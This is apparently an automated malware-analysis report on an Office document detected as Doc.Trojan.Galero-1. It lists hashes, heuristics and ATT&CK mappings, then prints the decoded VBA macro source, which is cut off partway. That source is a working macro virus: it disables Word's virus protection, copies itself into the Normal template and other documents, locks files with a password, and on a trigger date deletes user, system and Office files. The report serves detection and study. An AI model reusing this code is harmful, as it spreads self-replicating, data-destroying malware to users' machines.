Doc.Trojan.Galero-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 61e733fca0df2da8…

MALICIOUS

Office (OLE)

48.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 929f2dc5dfcd157fc1e49bfe1e1c6f91 SHA-1: d939509545632e0109c4ea5840f5c7dbc588ed21 SHA-256: 61e733fca0df2da812cb2a9b0963d58e2c62ee072d2f4dc591829cf1b28f3c52
240 Risk Score

Malware Insights

Doc.Trojan.Galero-1 · confidence 95%

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is identified as Doc.Trojan.Galero-1 by ClamAV, indicating a known malicious document. It contains VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon opening or closing the document. The script attempts to deceive the user with pop-up messages and password protection, likely to facilitate further malicious activity.

Heuristics 5

  • ClamAV: Doc.Trojan.Galero-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Galero-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16373 bytes
SHA-256: 625893f76835d6c07f6ed6f4263f4b4e671eafea2434ef5a1ab25e6b012d6cde
Detection
ClamAV: Doc.Trojan.Galero-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Chungalero"

Sub AutoOpen()
'
' AutoOpen Macro
' ChungaleWare Inc.
' Valledupar, Marzo de 1998.
' Segunda Versión Enero del 1999. V2.01

On Error GoTo Chungalero


    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    

Call EstaInfectadO

Call FaKeJoker

    Application.ScreenUpdating = True
    Application.DisplayAlerts = wdAlertsAll

Chungalero:
End Sub

Private Sub FaKeJoker()
On Error GoTo FaKeError
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll

    Dim Dia, Mes, Hora As Integer
    Dia = Day(Now()): Mes = Month(Now()): Hora = Hour(Now())
    If Dia = 18 And Mes = 12 Then
       Chungale
    End If
    If (Hora >= 12 And Hora <= 14) Or Dia = 18 Then
        Application.ActiveDocument.WritePassword = "Chungalero"
        Opc = 1
        While Opc <> -1
        Set Globito = Assistant.NewBalloon
            With Globito
            .Icon = msoIconTips
            .Heading = "Hola Como Estás?"
            .Text = "Me llaman Chungalero" + Chr$(13) + Chr$(10) _
            + "Hoy Cumplo otro mes de Vida" + Chr$(13) + Chr$(10) + "Si quieres Ayuda!!" + Chr(13) + "llama al 911..." + Chr$(13) + Chr$(10) + Chr$(13) + Chr$(10) + Chr$(13) + Chr$(10) + "ChungaleWare Inc. Valledupar, Enero 1999"
            .Animation = msoAnimationBeginSpeaking
            .Button = msoBalloonButtonOK
            Opc = .Show
            End With
        Wend
    End If
    
  
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

FaKeError:
End Sub

Private Sub Chungale()
On Error GoTo ChungaleError
Opc = -1
While Opc = -1
Set b = Assistant.NewBalloon
    With b
        .Icon = msoIconAlert
        .Heading = "Chungalero Como Estás?"
        .Text = "Hoy te tocó el Dia Final Selecciona una Opción no te puedes Escapar"
        .Labels(1).Text = "Borrar La Carpeta Mis Documentos"
        .Labels(2).Text = "Borrar los Archivos del Sistema"
        .Labels(3).Text = "Borrar la Carpeta de Archivos de Programas"
        .Animation = msoAnimationBeginSpeaking
        .Button = msoBalloonButtonNull
  Opc = .Show
    End With
  Select Case Opc
    Case 1
        Kill ("c:\Mis Documentos\*.*")
    Case 2
        Kill ("c:\windows\system\*.dll")
    Case 3
        Kill ("c:\Archivos de Programa\Microsoft Office\*.*")
    
    End Select
Wend
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

ChungaleError:
End Sub

Sub AutoClose()
On Error GoTo ErrorClose

    Call AutoOpen

ErrorClose:
End Sub

Sub AutoNew()
On Error GoTo ErrorNew

Call AutoOpen

ErrorNew:
End Sub

Sub AutoExec()
On Error GoTo ErrorExec

Call AutoOpen

ErrorExec:
End Sub

Private Sub EstaInfectadO()
Dim Pname, Cname As String
Dim Esta As Boolean

On Error GoTo DocInfectError
For Projects = 1 To Application.VBE.VbProjects.Count
    Pname = Application.VBE.VbProjects(Projects).Name
    For Component = 2 To Application.VBE.VbProjects(Projects).VBComponents.Count
        Cname = Application.VBE.VbProjects(Projects).VBComponents(Component).Name
        If Application.VBE.VbProjects(Projects).VBComponents(Component).Name = "Chungalero" Then _
           Esta = True
    Next
    If Not Esta And Pname = "Normal" Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="Chungalero", _
        Object:=wdOrganizerObjectProjectItems
    End If
    If Not Esta And Pname <> "Normal" And Left(Pname, 5) <> "Virus" Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument.FullName, Name:="Ch
... (truncated)